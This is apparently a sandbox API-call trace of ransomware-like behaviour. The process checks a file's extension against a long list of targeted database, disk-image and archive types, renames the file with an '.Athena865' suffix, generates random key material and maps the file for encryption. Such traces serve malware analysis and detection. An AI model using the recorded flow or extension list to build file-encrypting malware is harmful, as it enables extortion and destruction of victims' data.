(lpString1="Waveform.thmx", lpString2=".sys") returned 1 [0066.176] lstrlenW (lpString="Waveform.thmx") returned 13 [0066.176] lstrlenW (lpString="bak") returned 3 [0066.176] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0066.176] lstrlenW (lpString="ba_") returned 3 [0066.176] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0066.176] lstrlenW (lpString="dbb") returned 3 [0066.176] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0066.176] lstrlenW (lpString="vmdk") returned 4 [0066.177] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0066.177] lstrlenW (lpString="rar") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0066.177] lstrlenW (lpString="zip") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0066.177] lstrlenW (lpString="tgz") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0066.177] lstrlenW (lpString="vbox") returned 4 [0066.177] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0066.177] lstrlenW (lpString="vdi") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0066.177] lstrlenW (lpString="vhd") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0066.177] lstrlenW (lpString="vhdx") returned 4 [0066.177] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0066.177] lstrlenW (lpString="avhd") returned 4 [0066.177] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0066.177] lstrlenW (lpString="db") returned 2 [0066.177] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0066.177] lstrlenW (lpString="db2") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0066.177] lstrlenW (lpString="db3") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0066.177] lstrlenW (lpString="dbf") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0066.177] lstrlenW (lpString="mdf") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0066.177] lstrlenW (lpString="mdb") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0066.177] lstrlenW (lpString="sql") returned 3 [0066.177] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0066.178] lstrlenW (lpString="sqlite") returned 6 [0066.178] lstrcmpiW (lpString1="m.thmx", lpString2="sqlite") returned -1 [0066.178] lstrlenW (lpString="sqlite3") returned 7 [0066.178] lstrcmpiW (lpString1="rm.thmx", lpString2="sqlite3") returned -1 [0066.178] lstrlenW (lpString="sqlitedb") returned 8 [0066.178] lstrcmpiW (lpString1="orm.thmx", lpString2="sqlitedb") returned -1 [0066.178] lstrlenW (lpString="xml") returned 3 [0066.178] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0066.178] lstrlenW (lpString="$er") returned 3 [0066.178] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0066.178] lstrlenW (lpString="4dd") returned 3 [0066.178] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0066.178] lstrlenW (lpString="4dl") returned 3 [0066.178] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0066.178] lstrlenW (lpString="^^^") returned 3 [0066.178] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0066.178] lstrlenW (lpString="abs") returned 3 [0066.178] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0066.178] lstrlenW (lpString="abx") returned 3 [0066.178] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0066.178] lstrlenW (lpString="accdb") returned 5 [0066.178] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0066.178] lstrlenW (lpString="accdc") returned 5 [0066.178] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0066.178] lstrlenW (lpString="accde") returned 5 [0066.178] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0066.178] lstrlenW (lpString="accdr") returned 5 [0066.178] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0066.178] lstrlenW (lpString="accdt") returned 5 [0066.178] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0066.178] lstrlenW (lpString="accdw") returned 5 [0066.178] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0066.178] lstrlenW (lpString="accft") returned 5 [0066.178] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0066.179] lstrlenW (lpString="adb") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.179] lstrlenW (lpString="adb") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.179] lstrlenW (lpString="ade") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0066.179] lstrlenW (lpString="adf") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0066.179] lstrlenW (lpString="adn") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0066.179] lstrlenW (lpString="adp") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0066.179] lstrlenW (lpString="alf") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0066.179] lstrlenW (lpString="ask") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0066.179] lstrlenW (lpString="btr") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0066.179] lstrlenW (lpString="cat") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0066.179] lstrlenW (lpString="cdb") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0066.179] lstrlenW (lpString="ckp") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0066.179] lstrlenW (lpString="cma") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0066.179] lstrlenW (lpString="cpd") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0066.179] lstrlenW (lpString="dacpac") returned 6 [0066.179] lstrcmpiW (lpString1="m.thmx", lpString2="dacpac") returned 1 [0066.179] lstrlenW (lpString="dad") returned 3 [0066.179] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0066.179] lstrlenW (lpString="dadiagrams") returned 10 [0066.179] lstrcmpiW (lpString1="eform.thmx", lpString2="dadiagrams") returned 1 [0066.180] lstrlenW (lpString="daschema") returned 8 [0066.180] lstrcmpiW (lpString1="orm.thmx", lpString2="daschema") returned 1 [0066.180] lstrlenW (lpString="db-journal") returned 10 [0066.180] lstrcmpiW (lpString1="eform.thmx", lpString2="db-journal") returned 1 [0066.180] lstrlenW (lpString="db-shm") returned 6 [0066.180] lstrcmpiW (lpString1="m.thmx", lpString2="db-shm") returned 1 [0066.180] lstrlenW (lpString="db-wal") returned 6 [0066.180] lstrcmpiW (lpString1="m.thmx", lpString2="db-wal") returned 1 [0066.180] lstrlenW (lpString="dbc") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0066.180] lstrlenW (lpString="dbs") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0066.180] lstrlenW (lpString="dbt") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0066.180] lstrlenW (lpString="dbv") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0066.180] lstrlenW (lpString="dbx") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0066.180] lstrlenW (lpString="dcb") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0066.180] lstrlenW (lpString="dct") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0066.180] lstrlenW (lpString="dcx") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0066.180] lstrlenW (lpString="ddl") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0066.180] lstrlenW (lpString="dlis") returned 4 [0066.180] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0066.180] lstrlenW (lpString="dp1") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0066.180] lstrlenW (lpString="dqy") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0066.180] lstrlenW (lpString="dsk") returned 3 [0066.180] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0066.180] lstrlenW (lpString="dsn") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0066.181] lstrlenW (lpString="dtsx") returned 4 [0066.181] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0066.181] lstrlenW (lpString="dxl") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0066.181] lstrlenW (lpString="eco") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0066.181] lstrlenW (lpString="ecx") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0066.181] lstrlenW (lpString="edb") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0066.181] lstrlenW (lpString="epim") returned 4 [0066.181] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0066.181] lstrlenW (lpString="fcd") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0066.181] lstrlenW (lpString="fdb") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0066.181] lstrlenW (lpString="fic") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0066.181] lstrlenW (lpString="flexolibrary") returned 12 [0066.181] lstrcmpiW (lpString1="aveform.thmx", lpString2="flexolibrary") returned -1 [0066.181] lstrlenW (lpString="fm5") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0066.181] lstrlenW (lpString="fmp") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0066.181] lstrlenW (lpString="fmp12") returned 5 [0066.181] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0066.181] lstrlenW (lpString="fmpsl") returned 5 [0066.181] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0066.181] lstrlenW (lpString="fol") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0066.181] lstrlenW (lpString="fp3") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0066.181] lstrlenW (lpString="fp4") returned 3 [0066.181] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0066.181] lstrlenW (lpString="fp5") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0066.182] lstrlenW (lpString="fp7") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0066.182] lstrlenW (lpString="fpt") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0066.182] lstrlenW (lpString="frm") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0066.182] lstrlenW (lpString="gdb") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0066.182] lstrlenW (lpString="gdb") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0066.182] lstrlenW (lpString="grdb") returned 4 [0066.182] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0066.182] lstrlenW (lpString="gwi") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0066.182] lstrlenW (lpString="hdb") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0066.182] lstrlenW (lpString="his") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0066.182] lstrlenW (lpString="ib") returned 2 [0066.182] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0066.182] lstrlenW (lpString="idb") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0066.182] lstrlenW (lpString="ihx") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0066.182] lstrlenW (lpString="itdb") returned 4 [0066.182] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0066.182] lstrlenW (lpString="itw") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0066.182] lstrlenW (lpString="jet") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0066.182] lstrlenW (lpString="jtx") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0066.182] lstrlenW (lpString="kdb") returned 3 [0066.182] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0066.182] lstrlenW (lpString="kexi") returned 4 [0066.183] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0066.183] lstrlenW (lpString="kexic") returned 5 [0066.183] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0066.183] lstrlenW (lpString="kexis") returned 5 [0066.183] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0066.183] lstrlenW (lpString="lgc") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0066.183] lstrlenW (lpString="lwx") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0066.183] lstrlenW (lpString="maf") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0066.183] lstrlenW (lpString="maq") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0066.183] lstrlenW (lpString="mar") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0066.183] lstrlenW (lpString="marshal") returned 7 [0066.183] lstrcmpiW (lpString1="rm.thmx", lpString2="marshal") returned 1 [0066.183] lstrlenW (lpString="mas") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0066.183] lstrlenW (lpString="mav") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0066.183] lstrlenW (lpString="maw") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0066.183] lstrlenW (lpString="mdbhtml") returned 7 [0066.183] lstrcmpiW (lpString1="rm.thmx", lpString2="mdbhtml") returned 1 [0066.183] lstrlenW (lpString="mdn") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0066.183] lstrlenW (lpString="mdt") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0066.183] lstrlenW (lpString="mfd") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0066.183] lstrlenW (lpString="mpd") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0066.183] lstrlenW (lpString="mrg") returned 3 [0066.183] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0066.184] lstrlenW (lpString="mud") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0066.184] lstrlenW (lpString="mwb") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0066.184] lstrlenW (lpString="myd") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0066.184] lstrlenW (lpString="ndf") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0066.184] lstrlenW (lpString="nnt") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0066.184] lstrlenW (lpString="nrmlib") returned 6 [0066.184] lstrcmpiW (lpString1="m.thmx", lpString2="nrmlib") returned -1 [0066.184] lstrlenW (lpString="ns2") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0066.184] lstrlenW (lpString="ns3") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0066.184] lstrlenW (lpString="ns4") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0066.184] lstrlenW (lpString="nsf") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0066.184] lstrlenW (lpString="nv") returned 2 [0066.184] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0066.184] lstrlenW (lpString="nv2") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0066.184] lstrlenW (lpString="nwdb") returned 4 [0066.184] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0066.184] lstrlenW (lpString="nyf") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0066.184] lstrlenW (lpString="odb") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0066.184] lstrlenW (lpString="odb") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0066.184] lstrlenW (lpString="oqy") returned 3 [0066.184] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0066.185] lstrlenW (lpString="ora") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0066.185] lstrlenW (lpString="orx") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0066.185] lstrlenW (lpString="owc") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0066.185] lstrlenW (lpString="p96") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0066.185] lstrlenW (lpString="p97") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0066.185] lstrlenW (lpString="pan") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0066.185] lstrlenW (lpString="pdb") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0066.185] lstrlenW (lpString="pdm") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0066.185] lstrlenW (lpString="pnz") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0066.185] lstrlenW (lpString="qry") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0066.185] lstrlenW (lpString="qvd") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0066.185] lstrlenW (lpString="rbf") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0066.185] lstrlenW (lpString="rctd") returned 4 [0066.185] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0066.185] lstrlenW (lpString="rod") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0066.185] lstrlenW (lpString="rodx") returned 4 [0066.185] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0066.185] lstrlenW (lpString="rpd") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0066.185] lstrlenW (lpString="rsd") returned 3 [0066.185] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0066.185] lstrlenW (lpString="sas7bdat") returned 8 [0066.186] lstrcmpiW (lpString1="orm.thmx", lpString2="sas7bdat") returned -1 [0066.186] lstrlenW (lpString="sbf") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0066.186] lstrlenW (lpString="scx") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0066.186] lstrlenW (lpString="sdb") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0066.186] lstrlenW (lpString="sdc") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0066.186] lstrlenW (lpString="sdf") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0066.186] lstrlenW (lpString="sis") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0066.186] lstrlenW (lpString="spq") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0066.186] lstrlenW (lpString="te") returned 2 [0066.186] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0066.186] lstrlenW (lpString="teacher") returned 7 [0066.186] lstrcmpiW (lpString1="rm.thmx", lpString2="teacher") returned -1 [0066.186] lstrlenW (lpString="tmd") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0066.186] lstrlenW (lpString="tps") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0066.186] lstrlenW (lpString="trc") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0066.186] lstrlenW (lpString="trc") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0066.186] lstrlenW (lpString="trm") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0066.186] lstrlenW (lpString="udb") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0066.186] lstrlenW (lpString="udl") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0066.186] lstrlenW (lpString="usr") returned 3 [0066.186] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0066.187] lstrlenW (lpString="v12") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0066.187] lstrlenW (lpString="vis") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0066.187] lstrlenW (lpString="vpd") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0066.187] lstrlenW (lpString="vvv") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0066.187] lstrlenW (lpString="wdb") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0066.187] lstrlenW (lpString="wmdb") returned 4 [0066.187] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0066.187] lstrlenW (lpString="wrk") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0066.187] lstrlenW (lpString="xdb") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0066.187] lstrlenW (lpString="xld") returned 3 [0066.187] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0066.187] lstrlenW (lpString="xmlff") returned 5 [0066.187] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0066.187] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.Athena865") returned 76 [0066.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.athena865"), dwFlags=0x1) returned 1 [0066.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.188] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=181889) returned 1 [0066.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.189] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.189] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.189] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.190] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c990, lpName=0x0) returned 0x154 [0066.191] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c990) returned 0x170000 [0066.199] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.200] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.200] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.201] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0066.202] CloseHandle (hObject=0x154) returned 1 [0066.202] CloseHandle (hObject=0x17c) returned 1 [0066.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0066.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.203] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0 [0066.203] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0066.203] ReleaseMutex (hMutex=0xec) returned 1 [0066.203] CloseHandle (hObject=0xec) returned 1 [0066.204] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0066.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516210 | out: hHeap=0x4f0000) returned 1 [0066.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f748 | out: hHeap=0x4f0000) returned 1 [0066.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA") returned 39 [0066.204] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D04DDAD003B89B2E2A0FA0E0310E0E90") returned 0xec [0066.204] WaitForSingleObject 